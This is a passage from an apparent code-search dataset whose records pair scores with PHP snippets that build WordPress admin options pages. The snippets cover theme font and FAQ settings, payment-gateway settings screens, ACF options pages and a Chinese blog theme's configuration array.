Homepage</a>\",\n\t\t\t\t\t\"id\" => $shortname.\"_heading_font\",\n\t\t\t\t\t\"std\" => array('face' => 'Bitter','style' => 'normal','color' => '#333', 'style2' => 'normal'),\n\t\t\t\t\t\"type\" => \"typography_nosize\");\n\n$options[] = array( \"name\" => __(\"Secondary Heading Font\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Font Settings for sitewide secondary heading fonts. Article Titles, Smaller Titles, h3, h4, h5 fonts. For previews, visit <a href='http://www.google.com/webfonts' target='_blank'>The Google Fonts Homepage</a>\",\n\t\t\t\t\t\"id\" => $shortname.\"_secondary_font\",\n\t\t\t\t\t\"std\" => array('face' => 'Bitter','style' => 'normal','color' => '#333', 'style2' => 'normal'),\n\t\t\t\t\t\"type\" => \"typography_nosize\");\n\n$options[] = array( \"name\" => __(\"Tiny Details Font\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Font Settings for sitewide fonts excluding the Top Featured Area. For previews, visit <a href='http://www.google.com/webfonts' target='_blank'>The Google Fonts Homepage</a>\",\n\t\t\t\t\t\"id\" => $shortname.\"_tiny_font\",\n\t\t\t\t\t\"std\" => array('face' => 'PT Sans Narrow','style' => 'bold','color' => '#123456', 'style2' => 'uppercase'),\n\t\t\t\t\t\"type\" => \"typography_nosize\");\n\n$options[] = array( \"name\" => __(\"Paragraph Font\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Font Settings for sitewide fonts excluding the Top Featured Area. For previews, visit <a href='http://www.google.com/webfonts' target='_blank'>The Google Fonts Homepage</a>\",\n\t\t\t\t\t\"id\" => $shortname.\"_p_font\",\n\t\t\t\t\t\"std\" => array('size' => '12px','face' => 'Droid Sans','style' => 'normal','color' => '#123456', 'style2' => 'normal'),\n\t\t\t\t\t\"type\" => \"typography_nosize\");\n\n\n$options[] = array( \"name\" => __(\"Latin/Cyrillic Character Support\", \"framework\"),\n\t\t\t\t\t\"desc\" => \"Select whether you want Latin/Cyrillic characters in your fonts. Note that some Google fonts don't have these characters, so you'll need to choose ones that do.\",\n\t\t\t\t\t\"id\" => $shortname.\"_cyrillic_chars\",\n\t\t\t\t\t\"std\" => \"No\",\n\t\t\t\t\t\"type\" => \"radio\",\n\t\t\t\t\t\"options\" => array(\n\t\t\t\t\t\t'No' => 'No',\n\t\t\t\t\t\t'Yes' => 'Yes'\n\t\t\t\t\t\t));\n\n$options[] = array( \"name\" => __(\"FAQ\", \"framework\"),\n\t\t\t\t\t\"type\" => \"heading\");\n\n$options[] = array( \"name\" => \"How do I set up the homepage?\",\n\t\t\t\t\t\"desc\" => \"To set up the homepage you must create a new page. Navigate to Pages > Add New. You can give this page any title and you do not have to include any content. Select from 'Homepage - Grid' or 'Homepage - Slider' from the 'Page Attributes' section. Once you've selected the template for the 'Page Attributes' section, click publish. Now that you have created your new page which uses a homepage template, navigate to Settings > Reading and configure the 'Front Page Displays' setting. Select the static page option and choose the page you just created as your front page. Your homepage is now created and can be viewed by visiting your root URL.\",\n\t\t\t\t\t\"id\" => $shortname.\"_info_homepage\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"info\");\n\n$options[] = array( \"name\" => \"How do I feature a post on the homepage in either the grid or slider?\",\n\t\t\t\t\t\"desc\" => \"To feature a post on the homepage you must create a new post. Navigate to Posts > Add New. You can give this page any title, and include any content you'd like. Then, before you click 'publish', click on the 'Edit' button next to Visibility', in the Publish section. Check the box that says 'Stick this post to the front page'. That post will now appear on the homepage in the 'featured' grid or slider area.\",\n\t\t\t\t\t\"id\" => $shortname.\"_info_sticky\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"info\");\n\n$options[] = array( \"name\" => \"How do I add the 'Read More' buttons?\",\n\t\t\t\t\t\"desc\" => \"The 'read more' button is just created by inserting the 'more' tag in the WYSIWYG editor of your post. It's part of wordpress default functionality - just look for the button on the top row near the end of the WYSIWYG editor. That will automatically create the break between the post overview and single post with a 'read more' button that links the two.\",\n\t\t\t\t\t\"id\" => $shortname.\"_info_readmore\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"info\");\n\n$options[] = array( \"name\" => \"Additional Questions\",\n\t\t\t\t\t\"desc\" => \"To provide you with more efficient, searchable support topics, I've set up an <a href='http://themewich.com/forum' target='_blank'>Online Support Forum</a>. Feel free to start a new thread over there and I'd be happy to assist! </p><p>\n<a href='http://themewich.com/forum' target='_blank'>Support Forum</a> | <a href='http://themewich.com/account/create/' target='_blank'>Create an Account</a> | <a href='http://dl.dropbox.com/u/32356665/item-code.jpg' target='_blank'>Find your Item 'Purchase Code'</a>\",\n\t\t\t\t\t\"id\" => $shortname.\"_info_questions\",\n\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\"type\" => \"info\");\n\n\n\treturn $options;\n}", "title": "" }, { "docid": "8391d01fe0d7f209656bbaef3a66bb89", "score": "0.68105716", "text": "public function admin_options()\n\t\t\t\t\t{\n\t\t\t\t\t\t\techo '<h3>'.__('Paysolutions Payment Gateway', 'amdev').'</h3>';\n\t\t\t\t\t\t\techo '<p>'.__('Paysolutions is most popular payment gateway for online shopping in Thailand.').'</p>';\n\t\t\t\t\t\t\techo '<table class=\"form-table\">';\n\t\t\t\t\t\t\t$this -> generate_settings_html();\n\t\t\t\t\t\t\techo '</table>';\n\n\t\t\t\t\t}", "title": "" }, { "docid": "5c62c7b9ff651e00a884a40baf831eb8", "score": "0.6802231", "text": "static public function renderOptionsForm()\n {\n require_once(dirname(__FILE__) . '/view/optionsForm.php');\n }", "title": "" }, { "docid": "6d6965ba79846054487b1848c5e577f5", "score": "0.6794709", "text": "function ds_npr_add_options_page() {\r\n add_options_page( 'NPR API', 'NPR API', 'manage_options',\r\n 'ds_npr_api', 'ds_npr_api_options_page' );\r\n \r\n}", "title": "" }, { "docid": "33d980402e69a0334064932f6f354350", "score": "0.6788144", "text": "public function create_option_page() {\n\t\t// Check function exists.\n\t\tif( !function_exists('acf_add_options_page') ) return;\n\t\t// register options page.\n\t\t$option_page = acf_add_options_sub_page(array(\n\t\t\t'page_title' => __('Private Message Settings'),\n\t\t\t'menu_title' => __('Private Message Settings'),\n\t\t\t'menu_slug' => 'private-message-settings',\n\t\t\t'parent_slug' => 'la-private-messages',\n\t\t\t'capability' => 'edit_posts',\n\t\t\t'redirect' => false\n\t\t));\n\t}", "title": "" }, { "docid": "1dabf2f8ed9349694d8be74544b417a5", "score": "0.6778434", "text": "public function create_optionspage(){\r\n\t\t\t// show errors\r\n\t\t\tadd_action( 'admin_notices', array( &$this, 'show_errors' ) );\r\n\t\t\t\r\n\t\t\t// add page to admin-menu and register settings\r\n\t\t\tadd_action( 'admin_menu', array( &$this, 'add_page' ) );\r\n\t\t\tadd_action( 'admin_init', array( &$this, 'register_settings' ) );\t\t\t\r\n\t\t}", "title": "" }, { "docid": "7a5967081052dc4ffd0fd940b5054c07", "score": "0.67748666", "text": "public function options_page() {\n\n\t\tif ( function_exists( 'acf_add_options_page' ) ) {\n\n\t\t\t$settings = array(\n\t\t\t\t'page_title' => __( 'AgriFlex4 Options' ),\n\t\t\t\t'menu_title' => __( 'AgriFlex4 Options' ),\n\t\t\t\t'menu_slug' => 'agriflex4-options',\n\t\t\t\t'capability' => 'edit_themes',\n\t\t\t\t'position' => '',\n\t\t\t\t'parent_slug' => 'options-general.php',\n\t\t\t);\n\n\t\t\tacf_add_options_page( $settings );\n\n\t\t\tif ( function_exists( 'acf_add_local_field_group' ) ) {\n\n\t\t\t\tacf_add_local_field_group(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'key' => 'group_5e14d2d88b326',\n\t\t\t\t\t\t'title' => 'AgriFlex4 Options',\n\t\t\t\t\t\t'fields' => array(),\n\t\t\t\t\t\t'location' => array(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t'param' => 'options_page',\n\t\t\t\t\t\t\t\t\t'operator' => '==',\n\t\t\t\t\t\t\t\t\t'value' => 'agriflex4-options',\n\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'menu_order' => 0,\n\t\t\t\t\t\t'position' => 'normal',\n\t\t\t\t\t\t'style' => 'default',\n\t\t\t\t\t\t'label_placement' => 'top',\n\t\t\t\t\t\t'instruction_placement' => 'label',\n\t\t\t\t\t\t'hide_on_screen' => '',\n\t\t\t\t\t\t'active' => true,\n\t\t\t\t\t\t'description' => '',\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t}\n\t\t}\n\n\t}", "title": "" }, { "docid": "d571ab4a16ff560d5229c7283e0fe24d", "score": "0.67684513", "text": "public function options();", "title": "" }, { "docid": "4eb044b3033bc9e5c538a7a63085b72c", "score": "0.67668957", "text": "public function admin_options() {\r\n\r\n \t?>\r\n \t<h3><?php _e('Pago Facil Direct', 'pagofacil'); ?></h3>\r\n \t<p><?php _e('Pago Facil Gateway works by charging the customers Credit Card on site.', 'pagofacil'); ?></p>\r\n \t<table class=\"form-table\">\r\n \t<?php\r\n \t\t\t// Generate the HTML For the settings form.\r\n \t\t\t$this->generate_settings_html();\r\n \t?>\r\n\t\t</table><!--/.form-table-->\r\n \t<?php\r\n }", "title": "" }, { "docid": "b0c39a852920f896149fdf8a1f96a1fd", "score": "0.6766668", "text": "function add_options_page() {\n add_options_page($this->title, $this->title, 'manage_options', $this->page, array($this, '_display_options_page'));\n }", "title": "" }, { "docid": "e56bc79aefea2c4976f31c36d6b54434", "score": "0.6761312", "text": "public function admin_options() {\n echo \"<h2>\" . __( \"Neuralab's WSPay Payment Gateway\", \"wcwspay\" ) . \"</h2>\";\n echo \"<table class='form-table'>\";\n $this->generate_settings_html();\n echo \"</table>\";\n }", "title": "" }, { "docid": "8b9d77e4ea1d0d50abbd8ac1520edb0d", "score": "0.67588437", "text": "function _display_options_page() {\n if (! current_user_can('manage_options')) {\n wp_die(__('You do not have sufficient permissions to access this page.'));\n }\n?>\n<div class=\"wrap\">\n <h2>RestAuth Options</h2>\n <form action=\"options.php\" method=\"post\">\n <?php settings_errors(); ?>\n <?php settings_fields($this->group); ?>\n <?php do_settings_sections($this->page); ?>\n <p class=\"submit\">\n <input type=\"submit\" name=\"Submit\" value=\"<?php esc_attr_e('Save Changes'); ?>\" class=\"button-primary\" />\n </p>\n </form>\n</div>\n<?php\n }", "title": "" }, { "docid": "98fb9127f2555cd1823b65526bb8628c", "score": "0.6749309", "text": "function optionsframework_options() {\n\t// 将所有分类(categories)加入数组\n\t$options_categories = array();\n\t$options_categories_obj = get_categories();\n\tforeach ( $options_categories_obj as $category ) {\n\t\t$options_categories[ $category->cat_ID ] = $category->cat_name;\n\t}\n\n\t// 将所有标签(tags)加入数组\n\t$options_tags = array();\n\t$options_tags_obj = get_tags();\n\tforeach ( $options_tags_obj as $tag ) {\n\t\t$options_tags[ $tag->term_id ] = $tag->name;\n\t}\n\n\n\t// 将所有页面(pages)加入数组\n\t$options_pages = array();\n\t$options_pages_obj = get_pages( 'sort_column=post_parent,menu_order' );\n\t$options_pages[''] = 'Select a page:';\n\tforeach ( $options_pages_obj as $page ) {\n\t\t$options_pages[ $page->ID ] = $page->post_title;\n\t}\n\n\t// 如果使用图片单选按钮, define a directory path\n\t$imagepath = get_template_directory_uri() . '/images/';\n\n\t$options = array();\n\n\t// 基本设置\n\t$options[] = array(\n\t\t'name' => '基础设置',\n\t\t'type' => 'heading'\n\t);\n\n\t// 站点名称\n\t$options[] = array(\n\t\t'name' => '站点名称',\n\t\t'desc' => 'Yq\\'s Blog',\n\t\t'id' => 'site_name',\n\t\t'std' => '',\n\t\t'type' => 'text'\n\t);\n\n\t// 首页封面图\n\t$options[] = array(\n\t\t'name' => '首页封面图',\n\t\t'desc' => '填写首页封面图的完整链接',\n\t\t'id' => 'home_cover',\n\t\t'std' => '',\n\t\t'type' => 'text'\n\t);\n\n\t// logo\n\t$options[] = array(\n\t\t'name' => 'logo',\n\t\t'desc' => '最佳尺寸30px*30px, 建议使用svg。\n\t\t\t\t\t<a href=\"https://yqqy.top/tips/848\">为什么推荐使用svg图片</a>',\n\t\t'id' => 'site_logo',\n\t\t'type' => 'text'\n\t);\n\n\t// favicon图片,填写url或相对WordPress根目录的路径\n\t$options[] = array(\n\t\t'name' => '网站图标',\n\t\t'desc' => 'favicon图片,填写url或相对WordPress根目录的路径',\n\t\t'id' => 'favicon_link',\n\t\t'std' => '/favicon.png',\n\t\t'type' => 'text'\n\t);\n\n\t// 网站关键词\n\t$options[] = array(\n\t\t'name' => '网站首页关键词',\n\t\t'desc' => '各关键字间用半角逗号\",\"分割,数量在5个以内最佳。',\n\t\t'id' => 'site_meta_keywords',\n\t\t'type' => 'text'\n\t);\n\n\t// 网站描述\n\t$options[] = array(\n\t\t'name' => '网站首页描述',\n\t\t'desc' => '用简洁的文字描述本站点,字数建议在120个字以内。',\n\t\t'id' => 'site_meta_description',\n\t\t'std' => '',\n\t\t'type' => 'text'\n\t);\n\n\t// dns预加载图床\n\t$options[] = array(\n\t\t'name' => 'DNS预加载图床',\n\t\t'desc' => '输入图床链接,\n\t\t不需要输入http(s),直接//domain',\n\t\t'id' => 'site_dnsprefetch',\n\t\t'std' => '',\n\t\t'type' => 'text'\n\t);\n\n\t// 默认没有封面图要展示默认封面图的路径\n\t$options[] = array(\n\t\t'name' => '默认封面图路径',\n\t\t'desc' => '如果没有设置文章特色图,就会用这里的图片,支持Url\n\t\t\t\t\t默认在主题images文件夹下',\n\t\t'id' => 'default_img',\n\t\t'std' => '/images/post.jpg',\n\t\t'type' => 'text'\n\t);\n\n\t// 分类的图片设置\n\t$options[] = array(\n\t\t'name' => '分类的图片设置,$是分类的tag_ID,#号里面是图片链接',\n\t\t'desc' => '请注意格式,严格的json格式\n\t\t\t\t\t{\n\t\t\t\t\t\t\"category_$\": \"#\",\n\t\t\t\t\t\t\"category_$\": \"#\",\n\t\t\t\t\t\t依次添加...\n\t\t\t\t\t}',\n\t\t'id' => 'site_category_img',\n\t\t'std' => '{\n\t\"category_$\": \"#\",\n\t\"category_$\": \"#\",\n\t...\n}',\n\t\t'type' => 'textarea'\n\t);\n\n\t// ICP备案号\n\t$options[] = array(\n\t\t'name' => 'ICP备案号',\n\t\t'desc' => '填写你的网站ICP备案号',\n\t\t'id' => 'site_icp',\n\t\t'type' => 'text'\n\t);\n\n\t// 公安网备案号\n\t$options[] = array(\n\t\t'name' => '公安网备案号',\n\t\t'desc' => '填写你的网站公安网备案号',\n\t\t'id' => 'site_gongan',\n\t\t'type' => 'text'\n\t);\n\n\t// 公安网备案跳转地址\n\t$options[] = array(\n\t\t'name' => '公安网备案跳转地址',\n\t\t'desc' => '输入你的公安网备案跳转地址,方便查看',\n\t\t'id' => 'site_gongan_link',\n\t\t'type' => 'text'\n\t);\n\n\t// 百度统计代码\n\t$options[] = array(\n\t\t'name' => '百度统计代码',\n\t\t'desc' => '添加你的百度统计代码',\n\t\t'id' => 'site_baidutj_script',\n\t\t'type' => 'textarea'\n\t);\n\n\t// 百度统计查询链接\n\t$options[] = array(\n\t\t'name' => '百度统计查询链接',\n\t\t'desc' => '在页面底部展示百度统计查询链接',\n\t\t'id' => 'site_baidutj_link',\n\t\t'type' => 'text'\n\t);\n\n\t// 网站右下角文字\n\t$options[] = array(\n\t\t'name' => '网站右下角文字',\n\t\t'desc' => '网站右下角显示文字',\n\t\t'id' => 'site_bottom_right_msg',\n\t\t'std' => '只珍朝夕,不负韶华。',\n\t\t'type' => 'text'\n\t);\n\n\t// 网站底部导航网址\n\t$options[] = array(\n\t\t'name' => '网站底部导航网址,$name是网站标题,$link是对应链接',\n\t\t'desc' => '请注意格式,严格的json格式\n\t\t\t\t\t{\n\t\t\t\t\t\t\"$name\": \"$link\",\n\t\t\t\t\t\t\"$name\": \"$link\",\n\t\t\t\t\t\t依次添加...\n\t\t\t\t\t}',\n\t\t'id' => 'site_bottom_nav_info',\n\t\t'type' => 'textarea',\n\t\t'std' => '{\n\t\"百度\": \"https://www.baidu.com\",\n\t\"Yq小站\": \"https://yqqy.top\"\n}'\n\t);\n\n\t// 作者信息\n\t$options[] = array(\n\t\t'name' => '作者信息',\n\t\t'type' => 'heading'\n\t);\n\n\t// 作者\n\t$options[] = array(\n\t\t'name' => '作者',\n\t\t'desc' => 'Yqchilde',\n\t\t'id' => 'author_name',\n\t\t'std' => '',\n\t\t'type' => 'text'\n\t);\n\n\t// 城市\n\t$options[] = array(\n\t\t'name' => '城市',\n\t\t'desc' => '写下你的城市,展示在你的作者页',\n\t\t'id' => 'author_city',\n\t\t'std' => '山西 大同',\n\t\t'type' => 'text'\n\t);\n\n\t// 个人头像\n\t$options[] = array(\n\t\t'name' => '个人头像',\n\t\t'desc' => '最佳尺寸92px*92px,用于在作者页显示',\n\t\t'id' => 'author_avatar',\n\t\t'type' => 'upload'\n\t);\n\n\t// gravatar头像源\n\t$options[] = array(\n\t\t'name' => 'gravatar头像源',\n\t\t'desc' => '这里填写你的gravatar头像中文源,默认使用极客族\n\t\t不需要写http(s)://',\n\t\t'id' => 'gravatar_source',\n\t\t'std' => 'sdn.geekzu.org',\n\t\t'type' => 'text'\n\t);\n\n\t// 自定义关键词和描述\n\t$options[] = array(\n\t\t'name' => '警示语 / 励志铭 / 描述',\n\t\t'desc' => '写下一段简洁的文字,展示在你的作者页',\n\t\t'id' => 'author_flag',\n\t\t'std' => '',\n\t\t'type' => 'text'\n\t);\n\n\t// 博客弹窗时间\n\t$options[] = array(\n\t\t'name' => '弹窗时间',\n\t\t'desc' => '弹窗时间,例如2020-04-07T08:00:00\n\t\t注意有个日期和时间中间有个「T」',\n\t\t'id' => 'toast_time',\n\t\t'type' => 'text'\n\t);\n\n\t// 博客弹窗内容\n\t$options[] = array(\n\t\t'name' => '弹窗内容',\n\t\t'desc' => '要弹窗的内容',\n\t\t'id' => 'toast_content',\n\t\t'std' => '欢迎访问个人博客!如果觉得这个弹窗频繁,可以手动叉掉后暂时不会再出现哦!',\n\t\t'type' => 'text'\n\t);\n\n\t// 支付宝捐赠二维码\n\t$options[] = array(\n\t\t'name' => '支付宝捐赠二维码',\n\t\t'desc' => '写下一段简洁的文字,展示在你的作者页',\n\t\t'id' => 'donate_alipay',\n\t\t'type' => 'upload'\n\t);\n\n\t// 微信捐赠二维码\n\t$options[] = array(\n\t\t'name' => '微信捐赠二维码',\n\t\t'desc' => '写下一段简洁的文字,展示在你的作者页',\n\t\t'id' => 'donate_wxpay',\n\t\t'type' => 'upload'\n\t);\n\n\t// 社交网络(不写则不显示)\n\t$options[] = array(\n\t\t'name' => '社交网络',\n\t\t'type' => 'heading'\n\t);\n\n\t// 腾讯QQ\n\t$options[] = array(\n\t\t'name' => '腾讯QQ',\n\t\t'desc' => 'tencent://message/?uin={{QQ number}}. 如: tencent://message/?uin=123456',\n\t\t'id' => 'author_qq',\n\t\t'type' => 'text'\n\t);\n\n\t// 微信\n\t$options[] = array(\n\t\t'name' => '微信',\n\t\t'desc' => '微信二维码',\n\t\t'id' => 'author_wechat',\n\t\t'type' => 'upload'\n\t);\n\n\t// 微博\n\t$options[] = array(\n\t\t'name' => '微博',\n\t\t'desc' => '新浪微博地址',\n\t\t'id' => 'author_sina',\n\t\t'type' => 'text'\n\t);\n\n\t// github\n\t$options[] = array(\n\t\t'name' => 'github',\n\t\t'desc' => 'github地址',\n\t\t'id' => 'author_github',\n\t\t'type' => 'text'\n\t);\n\n\t// telegram\n\t$options[] = array(\n\t\t'name' => 'telegram',\n\t\t'desc' => 'telegram联系方式',\n\t\t'id' => 'author_telegram',\n\t\t'type' => 'text'\n\t);\n\n\t// 其他\n\t$options[] = array(\n\t\t'name' => '其他',\n\t\t'type' => 'heading'\n\t);\n\n\t// 关于\n\t$options[] = array(\n\t\t'name' => '关于',\n\t\t'desc' => sprintf( 'Theme Rebirth v %s | <a href=\"https://github.com/yqchilde/rebirth\"> 主题说明 </a>', Rebirth_Version ),\n\t\t'id' => 'theme_intro',\n\t\t'std' => '',\n\t\t'type' => 'typography '\n\t);\n\n\t// 检查更新\n\t$options[] = array(\n\t\t'name' => '检查更新',\n\t\t'desc' => '<a href=\"https://github.com/yqchilde/rebirth/releases/latest\">Download the latest version</a>',\n\t\t'id' => \"theme_version\",\n\t\t'std' => \"tag\",\n\t\t'type' => \"images\",\n\t\t'options' => array(\n\t\t\t'tag' => 'https://img.shields.io/github/v/release/yqchilde/rebirth.svg?style=flat-square',\n\t\t\t'tag2' => 'https://img.shields.io/github/commits-since/yqchilde/rebirth/' . Rebirth_Version . '?logo=dev&style=flat-square',\n\t\t),\n\t);\n\n\t// Valine配置提示\n\t$options[] = array(\n\t\t'name' => '主题评论采用第三方Valine系统',\n\t\t'desc' => 'Valine文档:<a href=\"https://valine.js.org\" target=\"_blank\">https://valine.js.org</a>',\n\t\t'type' => 'info'\n\t);\n\n\t// appId\n\t$options[] = array(\n\t\t'name' => 'Valine->appId',\n\t\t'desc' => '第三方评论Valine的appId',\n\t\t'id' => 'valine_appid',\n\t\t'type' => 'text'\n\t);\n\n\t// appKey\n\t$options[] = array(\n\t\t'name' => 'Valine->appKey',\n\t\t'desc' => '第三方评论Valine的appKey',\n\t\t'id' => 'valine_appkey',\n\t\t'type' => 'text'\n\t);\n\n\t// serverURLs\n\t$options[] = array(\n\t\t'name' => 'Valine->serverURLs',\n\t\t'desc' => '第三方评论Valine的serverURLs',\n\t\t'id' => 'valine_serverurls',\n\t\t'type' => 'text'\n\t);\n\n\treturn $options;\n}", "title": "" }, { "docid": "7fd257241a5b2312b6eac50ef4ba9dbb", "score": "0.6744405", "text": "function punkacademia_resources_theme_options_render_page() {\n\t\t?>\n\t\t<div resource=\"wrap\">\n\t\t\t<h2><?php _e( 'Resources Options', 'punkacademia' ); ?></h2>\n\t\t\t<?php settings_errors(); ?>\n\n\t\t\t<form method=\"post\" action=\"options.php\">\n\t\t\t\t<?php\n\t\t\t\t\tsettings_fields( 'punkacademia_resources_options' );\n\t\t\t\t\tdo_settings_sections( 'resources_options' );\n\t\t\t\t\twp_nonce_field( 'punkacademia_resources_update_options_nonce', 'punkacademia_resources_update_options_process' );\n\t\t\t\t\tsubmit_button();\n\t\t\t\t?>\n\t\t\t</form>\n\t\t</div>\n\t\t<?php\n\t}", "title": "" }, { "docid": "2a78384d92887cd068fefb5777454f6e", "score": "0.6741851", "text": "public function admin_options()\n\t{\n\t\tinclude WC_EBANX_TEMPLATES_DIR . 'views/html-admin-page.php';\n\t}", "title": "" }, { "docid": "561f65f5fea1235821a72344d8c1a53e", "score": "0.67299664", "text": "public function create_page()\n {\n $this->options = get_option('freshmail');\n ?>\n <div class=\"wrap\">\n <h2>Freshmail mailing</h2>\n <form method=\"post\" action=\"options.php\">\n <?php\n settings_fields('freshmail_options');\n do_settings_sections('freshmail_settings_page');\n submit_button();\n ?>\n </form>\n </div>\n <?php\n }", "title": "" }, { "docid": "b9d035bf911225053acd1b14199e3fb8", "score": "0.67202014", "text": "public static function outputOptions()\n {\n $result = self::saveOptions();\n $messages = $result['messages'];\n\n ob_start();\n require('views/backend/admin_settings.php');\n $content = ob_get_contents();\n ob_end_clean();\n require('views/backend/admin_template.php');\n }", "title": "" }, { "docid": "6c9680a5fe3a529c73b02fba17390659", "score": "0.6713421", "text": "function _usdp_general_options_markup(){\n\t\n\t/** START REQUIRED **/\n\t$title = \"USDP Theme Options\";\n\t$description = \"Configure the basic theme settings here.\";\n\t$theme_options = array(\n\t\t\"USDP Example\" => array(\n\t\t\t\"Example Text\" => array( \"text\", \"example_options_text\", \"This is the description text. OPTIONAL\"),\n\t\t\t\"Example Textarea\" => array( \"textarea\", \"example_options_textarea\", \"This is the description text. OPTIONAL\" ),\n\t\t\t\"Example Checkbox\" => array( \"checkbox\", \"example_options_checkbox\", \"This is the description text. OPTIONAL\"),\n\t\t\t\"Example Image\" => array( \"image\", \"example_options_image\", \"This is the description text. OPTIONAL\"),\n\t\t\t\"Example Select\" => array( \n\t\t\t\t\"select\", \"example_options_select\", \"This is the description text. OPTIONAL\",\n\t\t\t\tarray( \n\t\t\t\t\t[\"select_option_value_1\", \"Select Option Name 1\"],\n\t\t\t\t\t[\"select_option_value_2\", \"Select Option Name 2\"]\n\t\t\t\t) \n\t\t\t)\n\t\t) // APPEND ADDITIONAL OPTIONS SECTIONS USING ABOVE MARKUP STRUCTURE\n\t);\n\t/** END REQUIRED **/\n\n\t$page_options_string = _usdp_generate_options_string($theme_options);\n\t_usdp_generate_options_page_markup($title, $description, $theme_options, $page_options_string);\n}", "title": "" }, { "docid": "375353fe192b960f6f47e41504017660", "score": "0.66973525", "text": "function wptreehouse_badges_options_page() {\n // 4. Test for the right permissions\n if ( ! current_user_can( 'manage_options' ) ) {\n wp_die( 'You do not have sufficient permissions to access this page' );\n }\n\n // echo '<h3>Welcome to our plugin page</h3>';\n require( 'inc/options-page-wrapper.php' );\n}", "title": "" }, { "docid": "09f598b6260a8e13ec9eaf4010f64042", "score": "0.66831815", "text": "public function admin_options(){\n \t\t$ipn_url = add_query_arg( 'wc-api', get_class( $this ), get_site_url() );\n\n \techo '<h3>'.__('SMT Payment Gateway', 'mrova').'</h3>';\n \techo '<p>'.__('').'</p>';\n \t\techo '<p>'.__( 'IPN URL: \"<b><i>'.$ipn_url.'</i></b>\".' ).'</p>';\n\n \techo '<table class=\"form-table\">';\n \t$this -> generate_settings_html();\n \techo '</table>';\n\n }", "title": "" }, { "docid": "a6af72fd61bf66fe8a1e5d17b24e05f9", "score": "0.66783625", "text": "public function wcbulkorderform_options_do_page() {\t\t\r\n\t\t?>\r\n\t\r\n\t\t<div class=\"wrap\">\r\n\t\t\t<div class=\"icon32\" id=\"icon-options-general\"><br /></div>\r\n\t\t\t<h2><?php _e('WC Bulk Order Form Pro','wcbulkorderform') ?></h2>\r\n\t\t\t\t<?php \r\n\t\t\t\tglobal $options;\r\n\t\t\t\t$sections = get_option('wcbulkorderform_sections');\r\n\t\t\t\t//print_r($sections);\r\n\t\t\t\t//$option = get_option('wcbulkorderform');\r\n\t\t\t\t//print_r($option); //for debugging\r\n\t\t\t\t?>\r\n\t\t\t\t<form method=\"post\" action=\"options.php\">\r\n\t\t\t\t<?php\r\n\t\t\t\t\t//delete_option('wcbulkorderform');\t\t\r\n\t\t\t\t\tsettings_fields( 'wcbulkorderform' );\r\n\t\t\t\t\tdo_settings_sections( 'wcbulkorderform' );\r\n\t\t\t\t\tsubmit_button();\r\n\t\t\t\t?>\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t\t<?php\r\n\t}", "title": "" }, { "docid": "1af47331a2bb202cbc17bc4426e7436a", "score": "0.6671239", "text": "public function clockwork_options() {\n $this->render_template( 'clockwork-options' );\n }", "title": "" }, { "docid": "af125586d6616c1758e82418dcb573ef", "score": "0.6662745", "text": "function fractal_options() {\n\tadd_menu_page( __('Fractal Options', 'fractal'), __('Fractal Options', 'fractal'), 'manage_options', 'fractal_options_page', 'display_fractal_options_page', 'dashicons-admin-generic' );\n}", "title": "" }, { "docid": "4ebee296a1fc066900baddea50e122ae", "score": "0.66569066", "text": "function pcdm_add_options_page() {\r\n\tadd_options_page('Config Constants Options Page', 'Config Constants', 'manage_options', __FILE__, 'pcdm_render_form');\r\n}", "title": "" }, { "docid": "d619a85229c9e37f59c4403904351b3e", "score": "0.6650305", "text": "function add_discography_options_page() {\r\n\t\tif ( function_exists( 'add_options_page' ) ) {\r\n\t\t\t$this->options_page = add_options_page( __( 'Discography', 'discography' ), __( 'Discography', 'discography' ), 'manage_options', DISCOGRAPHY_FILE, array( $this, 'options_page' ) );\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "41018a1640c1ceaddce752dab6dde6c2", "score": "0.6648079", "text": "public static function setupOptionPage(): array\n {\n return [\n \"settings\" => \"Options\",\n \"roles\" => ['admin', 'editor']\n ];\n }", "title": "" }, { "docid": "b56d8dafd6047315cc3ec79fb07eeb73", "score": "0.664139", "text": "function projects_theme_options_render_page() {\n\t\t?>\n\t\t<div class=\"wrap\">\n\t\t\t<h2><?php _e( 'Projects Options', 'projects' ); ?></h2>\n\t\t\t<?php settings_errors(); ?>\n\n\t\t\t<form method=\"post\" action=\"options.php\">\n\t\t\t\t<?php\n\t\t\t\t\tsettings_fields( 'projects_options' );\n\t\t\t\t\tdo_settings_sections( 'projects_options' );\n\t\t\t\t\tsubmit_button();\n\t\t\t\t?>\n\t\t\t</form>\n\t\t</div>\n\t\t<?php\n\t}", "title": "" }, { "docid": "a9794db2bbecc57eedf055a02320699b", "score": "0.66353166", "text": "function optionsframework_options() {\n\n\t$options = array();\n\n\t$base_color_scheme_array = array(\"vibrant\" => \"Vibrant\",\"pastel\" => \"Pastel\",\"light\" => \"Light\");\n\t\n\t$options[] = array(\n\t \"name\" => \"Color Palettes\",\n\t \"type\" => \"heading\");\n\t \n\t$options[] = array(\n\t \"name\" => \"Base Color Scheme\",\n\t \"desc\" => \"If you change the color scheme, your color options below will automatically update.\",\n\t \"id\" => \"color_scheme\",\n\t \"std\" => \"vibrant\",\n\t \"type\" => \"select\",\n\t \"options\" => $base_color_scheme_array);\n\t \n\t$options[] = array(\n\t\t\"name\" => \"Color One\",\n\t \"id\" => \"color1\",\n\t \"std\" => \"#07dfff\",\n\t \"type\" => \"color\" );\n\t \n\t$options[] = array(\n\t \"name\" => \"Color Two\",\n\t \"id\" => \"color2\",\n\t \"std\" => \"#3cff07\",\n\t \"type\" => \"color\");\n\t \n\t$options[] = array(\n\t \"name\" => \"Color Three\",\n\t \"id\" => \"color3\",\n\t \"std\" => \"#fcff00\",\n\t \"type\" => \"color\");\n\t \n\t$options[] = array(\n\t 